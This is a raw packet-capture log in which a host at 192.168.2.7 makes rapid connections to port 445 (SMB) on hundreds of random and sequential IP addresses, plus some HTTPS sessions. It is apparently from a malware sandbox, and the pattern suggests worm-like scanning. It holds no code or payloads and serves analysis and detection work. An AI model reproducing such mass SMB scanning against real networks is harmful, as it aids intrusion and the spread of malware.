Jul 20, 2022 19:32:41.148025036 CEST	445	54417	45.60.207.4	192.168.2.7
Jul 20, 2022 19:32:41.148101091 CEST	445	54417	45.60.207.4	192.168.2.7
Jul 20, 2022 19:32:41.148190975 CEST	445	54417	45.60.207.4	192.168.2.7
Jul 20, 2022 19:32:41.148256063 CEST	54417	445	192.168.2.7	45.60.207.4
Jul 20, 2022 19:32:41.148298979 CEST	54417	445	192.168.2.7	45.60.207.4
Jul 20, 2022 19:32:41.148566961 CEST	54417	445	192.168.2.7	45.60.207.4
Jul 20, 2022 19:32:41.166946888 CEST	445	54417	45.60.207.4	192.168.2.7
Jul 20, 2022 19:32:41.225169897 CEST	54429	445	192.168.2.7	170.142.56.70
Jul 20, 2022 19:32:41.225716114 CEST	54430	445	192.168.2.7	212.137.9.84
Jul 20, 2022 19:32:41.226771116 CEST	54432	445	192.168.2.7	220.139.177.158
Jul 20, 2022 19:32:41.227359056 CEST	54433	445	192.168.2.7	180.80.241.1
Jul 20, 2022 19:32:41.228365898 CEST	54435	445	192.168.2.7	211.37.240.89
Jul 20, 2022 19:32:41.236598969 CEST	54440	445	192.168.2.7	169.198.250.239
Jul 20, 2022 19:32:41.237135887 CEST	54441	445	192.168.2.7	24.208.69.145
Jul 20, 2022 19:32:41.237663984 CEST	54442	445	192.168.2.7	201.224.185.135
Jul 20, 2022 19:32:41.443258047 CEST	54446	445	192.168.2.7	174.167.17.105
Jul 20, 2022 19:32:41.443324089 CEST	54445	445	192.168.2.7	56.150.237.102
Jul 20, 2022 19:32:41.443479061 CEST	54449	445	192.168.2.7	182.61.154.245
Jul 20, 2022 19:32:41.443552017 CEST	54451	445	192.168.2.7	167.109.125.43
Jul 20, 2022 19:32:41.443639040 CEST	54453	445	192.168.2.7	31.165.17.9
Jul 20, 2022 19:32:41.443661928 CEST	54452	445	192.168.2.7	69.123.223.139
Jul 20, 2022 19:32:41.443814039 CEST	54455	445	192.168.2.7	185.234.73.116
Jul 20, 2022 19:32:41.443861961 CEST	54457	445	192.168.2.7	214.53.102.245
Jul 20, 2022 19:32:41.443978071 CEST	54460	445	192.168.2.7	121.3.139.29
Jul 20, 2022 19:32:41.444030046 CEST	54461	445	192.168.2.7	205.71.212.199
Jul 20, 2022 19:32:41.444180965 CEST	54464	445	192.168.2.7	170.161.210.171
Jul 20, 2022 19:32:41.444330931 CEST	54471	445	192.168.2.7	145.7.162.63
Jul 20, 2022 19:32:41.444462061 CEST	54475	445	192.168.2.7	158.251.3.204
Jul 20, 2022 19:32:41.444566011 CEST	54478	445	192.168.2.7	50.248.223.98
Jul 20, 2022 19:32:41.444581985 CEST	54477	445	192.168.2.7	11.254.51.205
Jul 20, 2022 19:32:41.444820881 CEST	54482	445	192.168.2.7	8.58.47.202
Jul 20, 2022 19:32:41.444932938 CEST	54485	445	192.168.2.7	141.132.97.159
Jul 20, 2022 19:32:41.444967031 CEST	54486	445	192.168.2.7	66.232.239.209
Jul 20, 2022 19:32:41.445076942 CEST	54488	445	192.168.2.7	101.7.4.96
Jul 20, 2022 19:32:41.445579052 CEST	54489	445	192.168.2.7	201.57.243.165
Jul 20, 2022 19:32:41.448395967 CEST	54490	445	192.168.2.7	45.60.207.5
Jul 20, 2022 19:32:41.467314005 CEST	445	54490	45.60.207.5	192.168.2.7
Jul 20, 2022 19:32:41.467447996 CEST	54490	445	192.168.2.7	45.60.207.5
Jul 20, 2022 19:32:41.467655897 CEST	54490	445	192.168.2.7	45.60.207.5
Jul 20, 2022 19:32:41.470767021 CEST	54491	445	192.168.2.7	45.60.207.5
Jul 20, 2022 19:32:41.487322092 CEST	445	54490	45.60.207.5	192.168.2.7
Jul 20, 2022 19:32:41.487353086 CEST	445	54455	185.234.73.116	192.168.2.7
Jul 20, 2022 19:32:41.487368107 CEST	445	54491	45.60.207.5	192.168.2.7
Jul 20, 2022 19:32:41.487431049 CEST	54490	445	192.168.2.7	45.60.207.5
Jul 20, 2022 19:32:41.487524986 CEST	54491	445	192.168.2.7	45.60.207.5
Jul 20, 2022 19:32:41.487734079 CEST	54491	445	192.168.2.7	45.60.207.5
Jul 20, 2022 19:32:41.505266905 CEST	445	54491	45.60.207.5	192.168.2.7
Jul 20, 2022 19:32:41.505292892 CEST	445	54491	45.60.207.5	192.168.2.7
Jul 20, 2022 19:32:41.505306959 CEST	445	54491	45.60.207.5	192.168.2.7
Jul 20, 2022 19:32:41.505419970 CEST	54491	445	192.168.2.7	45.60.207.5
Jul 20, 2022 19:32:41.505606890 CEST	54491	445	192.168.2.7	45.60.207.5
Jul 20, 2022 19:32:41.505953074 CEST	54491	445	192.168.2.7	45.60.207.5
Jul 20, 2022 19:32:41.525182009 CEST	445	54491	45.60.207.5	192.168.2.7
Jul 20, 2022 19:32:41.525199890 CEST	445	54491	45.60.207.5	192.168.2.7
Jul 20, 2022 19:32:41.556730986 CEST	443	54421	52.152.110.14	192.168.2.7
Jul 20, 2022 19:32:41.556898117 CEST	54421	443	192.168.2.7	52.152.110.14
Jul 20, 2022 19:32:41.566375017 CEST	54421	443	192.168.2.7	52.152.110.14
Jul 20, 2022 19:32:41.566385984 CEST	443	54421	52.152.110.14	192.168.2.7
Jul 20, 2022 19:32:41.566725016 CEST	443	54421	52.152.110.14	192.168.2.7
Jul 20, 2022 19:32:41.568124056 CEST	54421	443	192.168.2.7	52.152.110.14
Jul 20, 2022 19:32:41.608488083 CEST	443	54421	52.152.110.14	192.168.2.7
Jul 20, 2022 19:32:41.724756002 CEST	445	54460	121.3.139.29	192.168.2.7
Jul 20, 2022 19:32:41.724961996 CEST	54460	445	192.168.2.7	121.3.139.29
Jul 20, 2022 19:32:41.725179911 CEST	54460	445	192.168.2.7	121.3.139.29
Jul 20, 2022 19:32:41.725967884 CEST	54492	445	192.168.2.7	121.3.139.1
Jul 20, 2022 19:32:41.837385893 CEST	443	54421	52.152.110.14	192.168.2.7
Jul 20, 2022 19:32:41.837416887 CEST	443	54421	52.152.110.14	192.168.2.7
Jul 20, 2022 19:32:41.837462902 CEST	443	54421	52.152.110.14	192.168.2.7
Jul 20, 2022 19:32:41.837548018 CEST	54421	443	192.168.2.7	52.152.110.14
Jul 20, 2022 19:32:41.837574959 CEST	443	54421	52.152.110.14	192.168.2.7
Jul 20, 2022 19:32:41.837599039 CEST	443	54421	52.152.110.14	192.168.2.7
Jul 20, 2022 19:32:41.837614059 CEST	54421	443	192.168.2.7	52.152.110.14
Jul 20, 2022 19:32:41.837621927 CEST	443	54421	52.152.110.14	192.168.2.7
Jul 20, 2022 19:32:41.837658882 CEST	54421	443	192.168.2.7	52.152.110.14
Jul 20, 2022 19:32:41.837712049 CEST	54421	443	192.168.2.7	52.152.110.14
Jul 20, 2022 19:32:41.837794065 CEST	443	54421	52.152.110.14	192.168.2.7
Jul 20, 2022 19:32:41.837866068 CEST	443	54421	52.152.110.14	192.168.2.7
Jul 20, 2022 19:32:41.837866068 CEST	54421	443	192.168.2.7	52.152.110.14
Jul 20, 2022 19:32:41.837919950 CEST	54421	443	192.168.2.7	52.152.110.14
Jul 20, 2022 19:32:41.840131044 CEST	54421	443	192.168.2.7	52.152.110.14
Jul 20, 2022 19:32:41.840167999 CEST	443	54421	52.152.110.14	192.168.2.7
Jul 20, 2022 19:32:41.840182066 CEST	54421	443	192.168.2.7	52.152.110.14
Jul 20, 2022 19:32:41.840193033 CEST	443	54421	52.152.110.14	192.168.2.7
Jul 20, 2022 19:32:42.006740093 CEST	445	54460	121.3.139.29	192.168.2.7
Jul 20, 2022 19:32:42.006769896 CEST	445	54460	121.3.139.29	192.168.2.7
Jul 20, 2022 19:32:42.011528969 CEST	54455	445	192.168.2.7	185.234.73.116
Jul 20, 2022 19:32:42.056382895 CEST	445	54455	185.234.73.116	192.168.2.7
Jul 20, 2022 19:32:42.201180935 CEST	54493	445	192.168.2.7	213.142.151.83
Jul 20, 2022 19:32:42.201725960 CEST	54494	445	192.168.2.7	51.158.189.54
Jul 20, 2022 19:32:42.202253103 CEST	54495	445	192.168.2.7	131.153.221.45
Jul 20, 2022 19:32:42.255367994 CEST	445	54493	213.142.151.83	192.168.2.7
Jul 20, 2022 19:32:42.255495071 CEST	54493	445	192.168.2.7	213.142.151.83
Jul 20, 2022 19:32:42.255954027 CEST	54493	445	192.168.2.7	213.142.151.83
Jul 20, 2022 19:32:42.259706020 CEST	54496	445	192.168.2.7	213.142.151.83
Jul 20, 2022 19:32:42.307523012 CEST	445	54493	213.142.151.83	192.168.2.7
Jul 20, 2022 19:32:42.307646036 CEST	445	54493	213.142.151.83	192.168.2.7
Jul 20, 2022 19:32:42.317581892 CEST	445	54496	213.142.151.83	192.168.2.7
Jul 20, 2022 19:32:42.317722082 CEST	54496	445	192.168.2.7	213.142.151.83
Jul 20, 2022 19:32:42.317981005 CEST	54496	445	192.168.2.7	213.142.151.83
Jul 20, 2022 19:32:42.345972061 CEST	54500	445	192.168.2.7	120.134.103.242
Jul 20, 2022 19:32:42.349385023 CEST	54502	445	192.168.2.7	47.112.17.202
Jul 20, 2022 19:32:42.349517107 CEST	54505	445	192.168.2.7	19.44.13.150
Jul 20, 2022 19:32:42.349637985 CEST	54506	445	192.168.2.7	77.215.231.170
Jul 20, 2022 19:32:42.349783897 CEST	54507	445	192.168.2.7	148.207.120.236
Jul 20, 2022 19:32:42.357237101 CEST	54516	445	192.168.2.7	121.185.194.43
Jul 20, 2022 19:32:42.358886957 CEST	54519	445	192.168.2.7	106.227.106.56
Jul 20, 2022 19:32:42.358907938 CEST	54518	445	192.168.2.7	102.24.160.216
Jul 20, 2022 19:32:42.381324053 CEST	445	54496	213.142.151.83	192.168.2.7
Jul 20, 2022 19:32:42.381359100 CEST	445	54496	213.142.151.83	192.168.2.7
Jul 20, 2022 19:32:42.381624937 CEST	54496	445	192.168.2.7	213.142.151.83
Jul 20, 2022 19:32:42.440665007 CEST	445	54496	213.142.151.83	192.168.2.7
Jul 20, 2022 19:32:42.440916061 CEST	54496	445	192.168.2.7	213.142.151.83
Jul 20, 2022 19:32:42.498574018 CEST	445	54496	213.142.151.83	192.168.2.7
Jul 20, 2022 19:32:42.585720062 CEST	54521	445	192.168.2.7	38.6.206.131
Jul 20, 2022 19:32:42.587115049 CEST	54523	445	192.168.2.7	128.181.189.26
Jul 20, 2022 19:32:42.587312937 CEST	54525	445	192.168.2.7	44.87.214.203
Jul 20, 2022 19:32:42.587443113 CEST	54526	445	192.168.2.7	114.170.157.254
Jul 20, 2022 19:32:42.587605953 CEST	54528	445	192.168.2.7	184.229.118.193
Jul 20, 2022 19:32:42.587732077 CEST	54529	445	192.168.2.7	177.177.202.223
Jul 20, 2022 19:32:42.587994099 CEST	54532	445	192.168.2.7	35.167.65.89
Jul 20, 2022 19:32:42.588126898 CEST	54534	445	192.168.2.7	39.197.115.204
Jul 20, 2022 19:32:42.588253021 CEST	54535	445	192.168.2.7	169.204.252.240
Jul 20, 2022 19:32:42.588603973 CEST	54541	445	192.168.2.7	68.235.171.23
Jul 20, 2022 19:32:42.588882923 CEST	54546	445	192.168.2.7	46.89.99.33
Jul 20, 2022 19:32:42.589129925 CEST	54550	445	192.168.2.7	123.176.164.199
Jul 20, 2022 19:32:42.589242935 CEST	54551	445	192.168.2.7	10.154.193.171
Jul 20, 2022 19:32:42.589839935 CEST	54558	445	192.168.2.7	126.16.122.128
Jul 20, 2022 19:32:42.589953899 CEST	54559	445	192.168.2.7	160.194.103.111
Jul 20, 2022 19:32:42.590076923 CEST	54560	445	192.168.2.7	166.151.20.244
Jul 20, 2022 19:32:42.590224981 CEST	54562	445	192.168.2.7	12.43.206.19
Jul 20, 2022 19:32:42.590342045 CEST	54563	445	192.168.2.7	17.206.56.69
Jul 20, 2022 19:32:42.590466022 CEST	54564	445	192.168.2.7	65.244.15.178
Jul 20, 2022 19:32:42.793943882 CEST	54565	445	192.168.2.7	121.3.139.2
Jul 20, 2022 19:32:42.887579918 CEST	54566	443	192.168.2.7	52.242.101.226
Jul 20, 2022 19:32:42.887603998 CEST	443	54566	52.242.101.226	192.168.2.7
Jul 20, 2022 19:32:42.887712002 CEST	54566	443	192.168.2.7	52.242.101.226
Jul 20, 2022 19:32:42.888442993 CEST	54566	443	192.168.2.7	52.242.101.226
Jul 20, 2022 19:32:42.888453007 CEST	443	54566	52.242.101.226	192.168.2.7
Jul 20, 2022 19:32:42.900568008 CEST	445	54550	123.176.164.199	192.168.2.7
Jul 20, 2022 19:32:42.922915936 CEST	445	54518	102.24.160.216	192.168.2.7
Jul 20, 2022 19:32:43.216447115 CEST	443	54566	52.242.101.226	192.168.2.7
Jul 20, 2022 19:32:43.216546059 CEST	54566	443	192.168.2.7	52.242.101.226
Jul 20, 2022 19:32:43.276387930 CEST	54566	443	192.168.2.7	52.242.101.226
Jul 20, 2022 19:32:43.276417017 CEST	443	54566	52.242.101.226	192.168.2.7
Jul 20, 2022 19:32:43.276794910 CEST	443	54566	52.242.101.226	192.168.2.7
Jul 20, 2022 19:32:43.298332930 CEST	54566	443	192.168.2.7	52.242.101.226
Jul 20, 2022 19:32:43.328528881 CEST	54568	445	192.168.2.7	51.158.189.55
Jul 20, 2022 19:32:43.329456091 CEST	54569	445	192.168.2.7	131.153.221.46
Jul 20, 2022 19:32:43.340507984 CEST	443	54566	52.242.101.226	192.168.2.7
Jul 20, 2022 19:32:43.466546059 CEST	54573	445	192.168.2.7	37.84.95.169
Jul 20, 2022 19:32:43.467847109 CEST	54575	445	192.168.2.7	171.108.89.188
Jul 20, 2022 19:32:43.469399929 CEST	54578	445	192.168.2.7	202.211.206.59
Jul 20, 2022 19:32:43.469947100 CEST	54579	445	192.168.2.7	167.150.38.230
Jul 20, 2022 19:32:43.470505953 CEST	54580	445	192.168.2.7	44.153.158.39
Jul 20, 2022 19:32:43.482050896 CEST	54588	445	192.168.2.7	217.117.133.9
Jul 20, 2022 19:32:43.483670950 CEST	54590	445	192.168.2.7	194.49.115.69
Jul 20, 2022 19:32:43.484297037 CEST	54591	445	192.168.2.7	207.232.152.244
Jul 20, 2022 19:32:43.513456106 CEST	443	54566	52.242.101.226	192.168.2.7
Jul 20, 2022 19:32:43.513490915 CEST	443	54566	52.242.101.226	192.168.2.7
Jul 20, 2022 19:32:43.513545036 CEST	443	54566	52.242.101.226	192.168.2.7
Jul 20, 2022 19:32:43.513639927 CEST	54566	443	192.168.2.7	52.242.101.226
Jul 20, 2022 19:32:43.513665915 CEST	443	54566	52.242.101.226	192.168.2.7
Jul 20, 2022 19:32:43.513703108 CEST	54566	443	192.168.2.7	52.242.101.226
Jul 20, 2022 19:32:43.513709068 CEST	443	54566	52.242.101.226	192.168.2.7
Jul 20, 2022 19:32:43.513736010 CEST	443	54566	52.242.101.226	192.168.2.7
Jul 20, 2022 19:32:43.513736010 CEST	54566	443	192.168.2.7	52.242.101.226
Jul 20, 2022 19:32:43.513747931 CEST	443	54566	52.242.101.226	192.168.2.7
Jul 20, 2022 19:32:43.513773918 CEST	54566	443	192.168.2.7	52.242.101.226
Jul 20, 2022 19:32:43.513817072 CEST	54566	443	192.168.2.7	52.242.101.226
Jul 20, 2022 19:32:43.513906956 CEST	443	54566	52.242.101.226	192.168.2.7
Jul 20, 2022 19:32:43.513973951 CEST	443	54566	52.242.101.226	192.168.2.7
Jul 20, 2022 19:32:43.513978004 CEST	54566	443	192.168.2.7	52.242.101.226
Jul 20, 2022 19:32:43.514023066 CEST	54566	443	192.168.2.7	52.242.101.226
Jul 20, 2022 19:32:43.522349119 CEST	54566	443	192.168.2.7	52.242.101.226
Jul 20, 2022 19:32:43.522380114 CEST	443	54566	52.242.101.226	192.168.2.7
Jul 20, 2022 19:32:43.522423029 CEST	54566	443	192.168.2.7	52.242.101.226
Jul 20, 2022 19:32:43.522437096 CEST	443	54566	52.242.101.226	192.168.2.7
Jul 20, 2022 19:32:43.574161053 CEST	54550	445	192.168.2.7	123.176.164.199
Jul 20, 2022 19:32:43.597156048 CEST	54592	443	192.168.2.7	40.125.122.176
Jul 20, 2022 19:32:43.597223043 CEST	443	54592	40.125.122.176	192.168.2.7
Jul 20, 2022 19:32:43.597352982 CEST	54592	443	192.168.2.7	40.125.122.176
Jul 20, 2022 19:32:43.598486900 CEST	54592	443	192.168.2.7	40.125.122.176
Jul 20, 2022 19:32:43.598509073 CEST	443	54592	40.125.122.176	192.168.2.7
Jul 20, 2022 19:32:43.700411081 CEST	54594	445	192.168.2.7	141.190.143.79
Jul 20, 2022 19:32:43.701854944 CEST	54596	445	192.168.2.7	199.214.116.123
Jul 20, 2022 19:32:43.702423096 CEST	54597	445	192.168.2.7	68.195.253.98
Jul 20, 2022 19:32:43.703609943 CEST	54599	445	192.168.2.7	24.66.39.19
Jul 20, 2022 19:32:43.705029011 CEST	54601	445	192.168.2.7	103.58.131.216
Jul 20, 2022 19:32:43.705768108 CEST	54602	445	192.168.2.7	159.84.213.248
Jul 20, 2022 19:32:43.709908962 CEST	54608	445	192.168.2.7	30.202.12.37
Jul 20, 2022 19:32:43.713274956 CEST	54613	445	192.168.2.7	73.202.249.77
Jul 20, 2022 19:32:43.716321945 CEST	54617	445	192.168.2.7	40.199.110.71
Jul 20, 2022 19:32:43.716948032 CEST	54618	445	192.168.2.7	51.219.157.155
Jul 20, 2022 19:32:43.720766068 CEST	54625	445	192.168.2.7	110.36.105.115
Jul 20, 2022 19:32:43.721319914 CEST	54626	445	192.168.2.7	111.1.152.11
Jul 20, 2022 19:32:43.721844912 CEST	54627	445	192.168.2.7	75.118.26.89
Jul 20, 2022 19:32:43.722868919 CEST	54629	445	192.168.2.7	126.122.19.135
Jul 20, 2022 19:32:43.723352909 CEST	54630	445	192.168.2.7	56.141.175.172
Jul 20, 2022 19:32:43.723886013 CEST	54631	445	192.168.2.7	174.254.194.178
Jul 20, 2022 19:32:43.724877119 CEST	54633	445	192.168.2.7	175.68.138.214
Jul 20, 2022 19:32:43.725816965 CEST	54635	445	192.168.2.7	158.122.158.240
Jul 20, 2022 19:32:43.727169991 CEST	54637	445	192.168.2.7	85.77.34.192
Jul 20, 2022 19:32:43.872997999 CEST	54638	445	192.168.2.7	121.3.139.3
Jul 20, 2022 19:32:43.885155916 CEST	445	54550	123.176.164.199	192.168.2.7
Jul 20, 2022 19:32:44.019587040 CEST	54639	443	192.168.2.7	20.82.209.183
Jul 20, 2022 19:32:44.019624949 CEST	443	54639	20.82.209.183	192.168.2.7
Jul 20, 2022 19:32:44.019746065 CEST	54639	443	192.168.2.7	20.82.209.183
Jul 20, 2022 19:32:44.019965887 CEST	54639	443	192.168.2.7	20.82.209.183
Jul 20, 2022 19:32:44.019978046 CEST	443	54639	20.82.209.183	192.168.2.7
Jul 20, 2022 19:32:44.101931095 CEST	443	54592	40.125.122.176	192.168.2.7
Jul 20, 2022 19:32:44.102169037 CEST	54592	443	192.168.2.7	40.125.122.176
Jul 20, 2022 19:32:44.105032921 CEST	54592	443	192.168.2.7	40.125.122.176
Jul 20, 2022 19:32:44.105067015 CEST	443	54592	40.125.122.176	192.168.2.7
Jul 20, 2022 19:32:44.105451107 CEST	443	54592	40.125.122.176	192.168.2.7
Jul 20, 2022 19:32:44.107287884 CEST	54592	443	192.168.2.7	40.125.122.176
Jul 20, 2022 19:32:44.148544073 CEST	443	54592	40.125.122.176	192.168.2.7
Jul 20, 2022 19:32:44.158464909 CEST	443	54639	20.82.209.183	192.168.2.7
Jul 20, 2022 19:32:44.158596992 CEST	54639	443	192.168.2.7	20.82.209.183
Jul 20, 2022 19:32:44.161024094 CEST	54639	443	192.168.2.7	20.82.209.183
Jul 20, 2022 19:32:44.161035061 CEST	443	54639	20.82.209.183	192.168.2.7
Jul 20, 2022 19:32:44.208081961 CEST	54639	443	192.168.2.7	20.82.209.183
Jul 20, 2022 19:32:44.208097935 CEST	443	54639	20.82.209.183	192.168.2.7
Jul 20, 2022 19:32:44.208585978 CEST	54639	443	192.168.2.7	20.82.209.183
Jul 20, 2022 19:32:44.208596945 CEST	443	54639	20.82.209.183	192.168.2.7
Jul 20, 2022 19:32:44.295902967 CEST	443	54639	20.82.209.183	192.168.2.7
Jul 20, 2022 19:32:44.296015024 CEST	443	54639	20.82.209.183	192.168.2.7
Jul 20, 2022 19:32:44.296407938 CEST	54639	443	192.168.2.7	20.82.209.183
Jul 20, 2022 19:32:44.308357954 CEST	54639	443	192.168.2.7	20.82.209.183
Jul 20, 2022 19:32:44.308382034 CEST	443	54639	20.82.209.183	192.168.2.7
Jul 20, 2022 19:32:44.308393955 CEST	54639	443	192.168.2.7	20.82.209.183
Jul 20, 2022 19:32:44.308444023 CEST	54639	443	192.168.2.7	20.82.209.183
Jul 20, 2022 19:32:44.388364077 CEST	54640	445	192.168.2.7	51.158.189.56
Jul 20, 2022 19:32:44.389152050 CEST	54641	445	192.168.2.7	131.153.221.47
Jul 20, 2022 19:32:44.435281992 CEST	443	54592	40.125.122.176	192.168.2.7
Jul 20, 2022 19:32:44.435322046 CEST	443	54592	40.125.122.176	192.168.2.7
Jul 20, 2022 19:32:44.435395956 CEST	443	54592	40.125.122.176	192.168.2.7
Jul 20, 2022 19:32:44.435528994 CEST	54592	443	192.168.2.7	40.125.122.176
Jul 20, 2022 19:32:44.435570002 CEST	443	54592	40.125.122.176	192.168.2.7
Jul 20, 2022 19:32:44.435592890 CEST	443	54592	40.125.122.176	192.168.2.7
Jul 20, 2022 19:32:44.435671091 CEST	54592	443	192.168.2.7	40.125.122.176
Jul 20, 2022 19:32:44.446208954 CEST	54592	443	192.168.2.7	40.125.122.176
Jul 20, 2022 19:32:44.446261883 CEST	443	54592	40.125.122.176	192.168.2.7
Jul 20, 2022 19:32:44.446327925 CEST	54592	443	192.168.2.7	40.125.122.176
Jul 20, 2022 19:32:44.446341038 CEST	443	54592	40.125.122.176	192.168.2.7
Jul 20, 2022 19:32:44.526062965 CEST	54644	445	192.168.2.7	45.60.207.5
Jul 20, 2022 19:32:44.542608976 CEST	445	54644	45.60.207.5	192.168.2.7
Jul 20, 2022 19:32:44.542754889 CEST	54644	445	192.168.2.7	45.60.207.5
Jul 20, 2022 19:32:44.543085098 CEST	54644	445	192.168.2.7	45.60.207.5
Jul 20, 2022 19:32:44.559490919 CEST	445	54644	45.60.207.5	192.168.2.7
Jul 20, 2022 19:32:44.559526920 CEST	445	54644	45.60.207.5	192.168.2.7
Jul 20, 2022 19:32:44.559547901 CEST	445	54644	45.60.207.5	192.168.2.7
Jul 20, 2022 19:32:44.559622049 CEST	54644	445	192.168.2.7	45.60.207.5
Jul 20, 2022 19:32:44.559726954 CEST	54644	445	192.168.2.7	45.60.207.5
Jul 20, 2022 19:32:44.559978962 CEST	54644	445	192.168.2.7	45.60.207.5
Jul 20, 2022 19:32:44.576205015 CEST	445	54644	45.60.207.5	192.168.2.7
Jul 20, 2022 19:32:44.576292038 CEST	445	54644	45.60.207.5	192.168.2.7
Jul 20, 2022 19:32:44.591768980 CEST	54648	445	192.168.2.7	163.89.81.17
Jul 20, 2022 19:32:44.595310926 CEST	54650	445	192.168.2.7	46.47.225.133
Jul 20, 2022 19:32:44.599622011 CEST	54659	445	192.168.2.7	220.171.74.138
Jul 20, 2022 19:32:44.600568056 CEST	54660	445	192.168.2.7	80.130.172.123
Jul 20, 2022 19:32:44.611459970 CEST	54661	445	192.168.2.7	97.79.230.207
Jul 20, 2022 19:32:44.613423109 CEST	54663	445	192.168.2.7	98.41.237.77
Jul 20, 2022 19:32:44.613646984 CEST	54665	445	192.168.2.7	62.129.124.169
Jul 20, 2022 19:32:44.613749981 CEST	54666	445	192.168.2.7	7.223.126.35
Jul 20, 2022 19:32:44.630762100 CEST	54667	445	192.168.2.7	45.60.207.6
Jul 20, 2022 19:32:44.647610903 CEST	445	54667	45.60.207.6	192.168.2.7
Jul 20, 2022 19:32:44.647954941 CEST	54667	445	192.168.2.7	45.60.207.6
Jul 20, 2022 19:32:44.647979975 CEST	54667	445	192.168.2.7	45.60.207.6
Jul 20, 2022 19:32:44.664550066 CEST	445	54667	45.60.207.6	192.168.2.7
Jul 20, 2022 19:32:44.664680958 CEST	54667	445	192.168.2.7	45.60.207.6
Jul 20, 2022 19:32:44.664727926 CEST	54668	445	192.168.2.7	45.60.207.6
Jul 20, 2022 19:32:44.681211948 CEST	445	54668	45.60.207.6	192.168.2.7
Jul 20, 2022 19:32:44.681339025 CEST	54668	445	192.168.2.7	45.60.207.6
Jul 20, 2022 19:32:44.681579113 CEST	54668	445	192.168.2.7	45.60.207.6
Jul 20, 2022 19:32:44.697995901 CEST	445	54668	45.60.207.6	192.168.2.7
Jul 20, 2022 19:32:44.698020935 CEST	445	54668	45.60.207.6	192.168.2.7
Jul 20, 2022 19:32:44.698034048 CEST	445	54668	45.60.207.6	192.168.2.7
Jul 20, 2022 19:32:44.698179007 CEST	54668	445	192.168.2.7	45.60.207.6
Jul 20, 2022 19:32:44.698352098 CEST	54668	445	192.168.2.7	45.60.207.6
Jul 20, 2022 19:32:44.698707104 CEST	54668	445	192.168.2.7	45.60.207.6
Jul 20, 2022 19:32:44.714725018 CEST	445	54668	45.60.207.6	192.168.2.7
Jul 20, 2022 19:32:44.715006113 CEST	445	54668	45.60.207.6	192.168.2.7
Jul 20, 2022 19:32:44.792061090 CEST	54669	443	192.168.2.7	20.199.120.85
Jul 20, 2022 19:32:44.792089939 CEST	443	54669	20.199.120.85	192.168.2.7
Jul 20, 2022 19:32:44.792217016 CEST	54669	443	192.168.2.7	20.199.120.85
Jul 20, 2022 19:32:44.793210983 CEST	54669	443	192.168.2.7	20.199.120.85
Jul 20, 2022 19:32:44.793226957 CEST	443	54669	20.199.120.85	192.168.2.7
Jul 20, 2022 19:32:44.822911978 CEST	54670	443	192.168.2.7	20.238.103.94
Jul 20, 2022 19:32:44.822959900 CEST	443	54670	20.238.103.94	192.168.2.7
Jul 20, 2022 19:32:44.823093891 CEST	54670	443	192.168.2.7	20.238.103.94
Jul 20, 2022 19:32:44.823698044 CEST	54670	443	192.168.2.7	20.238.103.94
Jul 20, 2022 19:32:44.823733091 CEST	443	54670	20.238.103.94	192.168.2.7
Jul 20, 2022 19:32:44.828627110 CEST	54675	445	192.168.2.7	36.133.182.250
Jul 20, 2022 19:32:44.831698895 CEST	54679	445	192.168.2.7	142.102.248.205
Jul 20, 2022 19:32:44.833122969 CEST	54681	445	192.168.2.7	1.168.6.202
Jul 20, 2022 19:32:44.834244967 CEST	54682	445	192.168.2.7	3.81.246.11
Jul 20, 2022 19:32:44.835721016 CEST	54684	445	192.168.2.7	154.194.89.192
Jul 20, 2022 19:32:44.837054014 CEST	54686	445	192.168.2.7	68.136.14.232
Jul 20, 2022 19:32:44.837771893 CEST	54687	445	192.168.2.7	10.198.194.122
Jul 20, 2022 19:32:44.842844009 CEST	54693	445	192.168.2.7	84.22.48.39
Jul 20, 2022 19:32:44.844240904 CEST	54695	445	192.168.2.7	112.145.141.0
Jul 20, 2022 19:32:44.845015049 CEST	54696	445	192.168.2.7	223.59.33.157
Jul 20, 2022 19:32:44.849808931 CEST	54703	445	192.168.2.7	105.197.85.213
Jul 20, 2022 19:32:44.850953102 CEST	54704	445	192.168.2.7	60.14.246.139
Jul 20, 2022 19:32:44.851692915 CEST	54705	445	192.168.2.7	77.136.67.232
Jul 20, 2022 19:32:44.868783951 CEST	54707	445	192.168.2.7	83.166.11.14
Jul 20, 2022 19:32:44.873327971 CEST	54708	445	192.168.2.7	222.235.227.142
Jul 20, 2022 19:32:44.874690056 CEST	54709	445	192.168.2.7	91.138.137.139
Jul 20, 2022 19:32:44.874840975 CEST	54713	445	192.168.2.7	77.131.199.189
Jul 20, 2022 19:32:44.874847889 CEST	54712	445	192.168.2.7	123.187.157.31
Jul 20, 2022 19:32:44.874988079 CEST	54715	445	192.168.2.7	197.38.41.238
Jul 20, 2022 19:32:44.882785082 CEST	443	54669	20.199.120.85	192.168.2.7
Jul 20, 2022 19:32:44.882920027 CEST	54669	443	192.168.2.7	20.199.120.85
Jul 20, 2022 19:32:44.886038065 CEST	54669	443	192.168.2.7	20.199.120.85
Jul 20, 2022 19:32:44.886054993 CEST	443	54669	20.199.120.85	192.168.2.7
Jul 20, 2022 19:32:44.886306047 CEST	443	54669	20.199.120.85	192.168.2.7
Jul 20, 2022 19:32:44.888344049 CEST	54669	443	192.168.2.7	20.199.120.85
Jul 20, 2022 19:32:44.888406038 CEST	54669	443	192.168.2.7	20.199.120.85
Jul 20, 2022 19:32:44.888415098 CEST	443	54669	20.199.120.85	192.168.2.7
Jul 20, 2022 19:32:44.888611078 CEST	54669	443	192.168.2.7	20.199.120.85
Jul 20, 2022 19:32:44.915653944 CEST	443	54669	20.199.120.85	192.168.2.7
Jul 20, 2022 19:32:44.915755033 CEST	443	54669	20.199.120.85	192.168.2.7
Jul 20, 2022 19:32:44.916235924 CEST	54669	443	192.168.2.7	20.199.120.85
Jul 20, 2022 19:32:44.916264057 CEST	443	54669	20.199.120.85	192.168.2.7
Jul 20, 2022 19:32:44.916275978 CEST	54669	443	192.168.2.7	20.199.120.85
Jul 20, 2022 19:32:44.916281939 CEST	443	54669	20.199.120.85	192.168.2.7
Jul 20, 2022 19:32:44.916318893 CEST	54669	443	192.168.2.7	20.199.120.85
Jul 20, 2022 19:32:44.966095924 CEST	54716	445	192.168.2.7	121.3.139.4
Jul 20, 2022 19:32:44.984110117 CEST	443	54670	20.238.103.94	192.168.2.7
Jul 20, 2022 19:32:44.984204054 CEST	54670	443	192.168.2.7	20.238.103.94
Jul 20, 2022 19:32:45.086586952 CEST	54670	443	192.168.2.7	20.238.103.94
Jul 20, 2022 19:32:45.086606979 CEST	443	54670	20.238.103.94	192.168.2.7
Jul 20, 2022 19:32:45.087227106 CEST	443	54670	20.238.103.94	192.168.2.7
